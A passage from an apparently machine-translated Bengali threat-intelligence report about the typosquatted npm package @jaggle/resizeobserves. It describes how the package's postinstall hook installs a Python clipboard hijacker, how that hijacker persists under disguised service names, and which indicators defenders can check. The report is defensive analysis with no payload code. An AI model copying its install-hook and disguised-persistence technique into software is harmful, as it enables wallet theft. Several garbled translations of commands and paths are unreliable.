অপারেটরকে টেকডাউন নিয়ে উদাসীন বলে মনে হচ্ছে। একই স্কোপের অধীনে দুই ঘণ্টার মধ্যে নয়টি ভার্সন প্রকাশ করাকে একটি ‘পাবলিশ-অ্যান্ড-বার্ন’ হ্যান্ডেল হিসেবেই দেখা হচ্ছে: টেকডাউনের বিলম্ব শুরু হওয়ার আগেই রেজিস্ট্রি ফুটপ্রিন্ট সর্বাধিক করা, তারপর এগিয়ে যাওয়া। আমরা লক্ষ্য করিনি @জ্যাগল এই লেখার সময় একটি নতুন পরিধির অধীনে পুনঃপ্রকাশ করা হচ্ছে, কিন্তু আমরা অনুরূপ পরিধি আশা করব (@জ্যাগি, @জাগল-, @joggleঅপারেটরটি তখনও সক্রিয় থাকলে, আগামী দিনগুলোর মধ্যে তা দেখা যাবে।
প্রভাব, প্রবণতা এবং ডিফেন্ডারদের কী করা উচিত
প্রভাব
বর্তমান ডেটাসেট থেকে প্রকৃত অর্থে প্রভাবের পরিমাণ নির্ণয় করা সম্ভব নয়। ক্লিপার কোনো টেলিমেট্রি রেকর্ড করে না এবং বিশ্লেষণের সময়সীমা পর্যন্ত ওয়ালেটগুলোতে বিকল্প ট্রান্সফার গ্রহণ করতে দেখা যায়নি (তালিকাভুক্ত চেইনগুলোর ওপর একটি ফলো-আপ অনুসন্ধান আমাদের তালিকায় রয়েছে)। বৈধ npm:@juggle/resize-observer এর সাপ্তাহিক ডাউনলোডের গড় সংখ্যা সাত অঙ্কেরও বেশি — যা টাইপোস্কোয়াটের জন্য একটি উচ্চ-ট্র্যাফিকের লক্ষ্যবস্তু — এবং তথ্য প্রকাশের সময় ক্ষতিকারক প্যাকেজটি ২৪ ঘণ্টারও কম সময় ধরে সক্রিয় ছিল, যা এর সংস্পর্শে আসা মানুষের সংখ্যাকে সীমিত করে, কিন্তু একেবারে শূন্য করে না।
পর্যবেক্ষণযোগ্য বিস্ফোরণ ব্যাসার্ধটি সরাসরি ডাউনলোড নয়। @jaggle/resizeobserves — সেগুলো সম্ভবত ছোট। এটি হলো **ট্রানজিটিভ ইনস্টল**: একজন ডেভেলপার স্যান্ডবক্স প্রজেক্টে প্যাকেজটি যোগ করে, রান করেন npm ইনস্টল করুনএবং তারপর ইনস্টল হুকটি যে কখনও চলেছিল তা ভুলে যাওয়া। যে সমস্ত মেশিনে পোস্টইনস্টল সম্পন্ন হয়েছে, সেগুলিতে এখন অটো-স্টার্টের সময় ব্যবহারকারী-ভিত্তিক একটি ক্লিপবোর্ড হাইজ্যাকার থাকে, প্রজেক্টটি ডিস্কে আছে কি না তা নির্বিশেষে। প্যাকেজ ডিরেক্টরিটি মুছে ফেলা হচ্ছে নোড_মডিউলস স্থায়িত্বটি অপসারণ করে না।
উদীয়মান নিদর্শন
এই প্রচারাভিযানটি দুটি প্রবণতার দৃষ্টান্ত স্থাপন করে।
পাইথন পেলোড ডেলিভারি র্যাপার হিসেবে এনপিএম (npm)। এনপিএম টারবলটি একটি ৪-লাইনের ইনস্টলার; আসল ছিনতাইকারী হলো পাইথন, যা সিস্টেম-ব্যাপী ইনস্টল করা হয়। বীচি বান্ডেল করা ডিরেক্টরি থেকে। এটি নতুন কিছু নয় — আমরা আগেও এনপিএম প্যাকেজগুলোকে পাইথন ব্যবহার করতে দেখেছি — কিন্তু ক্রিপ্টো-ক্লিপার ক্যাম্পেইনগুলোতে এটি একটি লক্ষণীয়ভাবে বেশি সাধারণ রূপ হয়ে উঠছে। অপারেটরের জন্য এর সুবিধা দ্বিগুণ: পাইথন ক্লিপবোর্ড লাইব্রেরি (পাইপারক্লিপ তাদের মধ্যে প্রথম) জাভাস্ক্রিপ্ট সমতুল্যগুলির চেয়ে আরও পরিচ্ছন্ন এবং আরও ক্রস-প্ল্যাটফর্ম, এবং বেশিরভাগ স্বয়ংক্রিয় এনপিএম স্ক্যানার জাভাস্ক্রিপ্ট ফাইল এবং পাইথন ফাইলকে অনেক বেশি গুরুত্ব দেয়। .py হালকাভাবে বান্ডিল করে। অসুবিধা হলো যে এটি ইনস্টল করার জন্য অনেক বেশি জায়গা লাগে — একটি নতুন পিপ ইনস্টল এমন একটি ডেভেলপার মেশিনে লুকানো কঠিন যা সাধারণত ব্যবহৃত হয় না পিপ ইনস্টল সময় npm ইনস্টল করুন.
প্ল্যাটফর্ম-নেটিভ নামগুলোই একমাত্র গোপনীয়তা। সাম্প্রতিককালের বেশ কিছু ক্লিপার এবং স্বল্প-পেলোড স্টিলার কোড-স্তরের দুর্বোধ্যতা সম্পূর্ণরূপে বর্জন করে বৈধ-দেখানো পারসিস্টেন্স লেবেল ব্যবহার শুরু করেছে। পাইথন৩-ডিবিইউএস-হেল্পার, com.apple.python.runtime, এবং পাইরানটাইমব্রোকার এগুলো পাঠ্যপুস্তকের উদাহরণ — চল্লিশটি ইউজার সার্ভিসের তালিকায় এমন কিছু নাম যা একজন ডিফেন্ডারের চোখ এড়িয়ে যাবে। এটি স্টিলথের একটি সস্তা ও টেকসই রূপ: টেকডাউন হয় প্যাকেজ-ভিত্তিক, কিন্তু পার্সিস্টেন্স ফাইলগুলো টেকডাউনের পরেও টিকে থাকে, এবং দেখতে আসল কোনো প্ল্যাটফর্ম কম্পোনেন্টের নামে রাখা সার্ভিস সুস্পষ্ট অডিট ছাড়া অন্য কোনো কিছু দিয়ে পরিষ্কার করা হয় না।
ডিফেন্ডারদের কী করা উচিত
- ~/.config/systemd/user/, ~/Library/LaunchAgents/, এবং Get-ScheduledTask নিরীক্ষা করুন। আউটপুট ডেভেলপার মেশিনগুলিতে IOC-তে তালিকাভুক্ত এন্ট্রিগুলির জন্য। npm প্যাকেজটি সরিয়ে ফেললেও এগুলি থেকে যায়; এগুলি হাতে করে সরাতে হবে।
- তালিকাভুক্ত ওয়ালেট ঠিকানাগুলিতে ব্লক স্থানান্তর কর্পোরেট-ট্রেজারি এবং ডিফাই-ওয়ালেটের সীমানায়, যেখানে অ্যাড্রেস-অ্যালাওলিস্টিং উপলব্ধ।
- ~/.config/clipboard-guardian/config.json ফাইলটি খুঁজুন। ডেভেলপার-মেশিন ফ্লিট জুড়ে (এবং প্ল্যাটফর্মের সমতুল্য সংস্করণগুলোতে)। ফাইলটির উপস্থিতি একটি উচ্চ-নিশ্চয়তার সংক্রমণ, তা যে প্যাকেজ সংস্করণই এটি সরবরাহ করুক না কেন।
- `node_modules/` ফোল্ডারে `clipboard_guardian/guardian.py` ফাইলটি খুঁজুন। বিল্ড-ক্যাশ স্ন্যাপশটগুলিতে থাকতে পারে যা অপসারণের পূর্ববর্তী হতে পারে। ফাইলটির md5 পর্যালোচিত সমস্ত সংস্করণে স্থিতিশীল।
- লকফাইল-পিন @juggle/resize-observer (বৈধ প্যাকেজ) যাতে ভবিষ্যতের ইনস্টলেশনগুলি এক অক্ষরের ভুল টাইপের কারণে অন্য কিছুতে রূপান্তরিত হতে না পারে, বিশেষ করে লকফাইল-বিহীন ওয়ার্কফ্লোতে যেমন এনপিএক্স.
- pip install আহ্বানকারী যেকোনো npm postinstall-কে বিবেচনা করুন উচ্চ-তীব্রতা হিসাবে নির্মাণে-pipeline নীতি। একটি npm প্যাকেজের ইনস্টলের সময় pip-এর প্রয়োজন হওয়ার কোনো বৈধ কারণ নেই — পাইথন টুলিং নিজেই পাইথন টুলিং বিতরণ করে।
- process_iter()-তুলনীয় মনিটরিং ডেটাতে python3-dbus-helper নামের সেইসব প্রসেস অনুসন্ধান করুন যেগুলো pyperclip ইম্পোর্ট করে। — ছদ্মবেশের অমিল (ডি-বাস হেল্পারের ক্লিপবোর্ড লাইব্রেরি ধারণ করা) হলো আমাদের কাছে থাকা সবচেয়ে সুস্পষ্ট আচরণগত নির্দেশক।
- সংক্রমিত মেশিন থেকে পেস্ট করা ওয়ালেট অ্যাড্রেসগুলো পর্যায়ক্রমে পরিবর্তন করুন। একটি ক্লিপবোর্ড হাইজ্যাকার ওয়ালেট UI এবং পেস্ট করার লক্ষ্যের মধ্যবর্তী পথটিকে ঝুঁকিপূর্ণ করে তোলে; সংক্রমিত অবস্থায় কপি করা ঠিকানাগুলো নীরবে পরিবর্তিত হয়ে যেতে পারে। সংক্রমণের সময়কালে পাঠানো যেকোনো কিছুকে সম্ভাব্য ভুল ঠিকানায় পাঠানো হয়েছে বলে বিবেচনা করা উচিত।
মূল কথা হলো: অপসারণের চেয়ে স্থায়িত্ব বেশিদিন টিকে থাকে। রেজিস্ট্রি অবশেষে মুছে ফেলবে। @jaggle/resizeobserves নয়টি সংস্করণের সবকটিতেই; systemd ইউনিট, LaunchAgent, এবং Scheduled Task নিজে থেকে অপসারিত হবে না।
তথ্যসূত্র
- @juggle/resize-observer on npm — সেই আসল প্যাকেজ, যার ছদ্মবেশ ধারণ করেছে এই টাইপোস্কোয়াট; যা README-এর হুবহু নকলের জন্য একটি ভিত্তি হিসেবে উপযোগী।
- @jaggle/resizeobserves রেজিস্ট্রি মেটাডেটা — নয়টি ক্ষতিকারক সংস্করণের টাইমস্ট্যাম্প প্রকাশ করুন, যা ফরেনসিক টাইমলাইনিংয়ের জন্য উপযোগী।




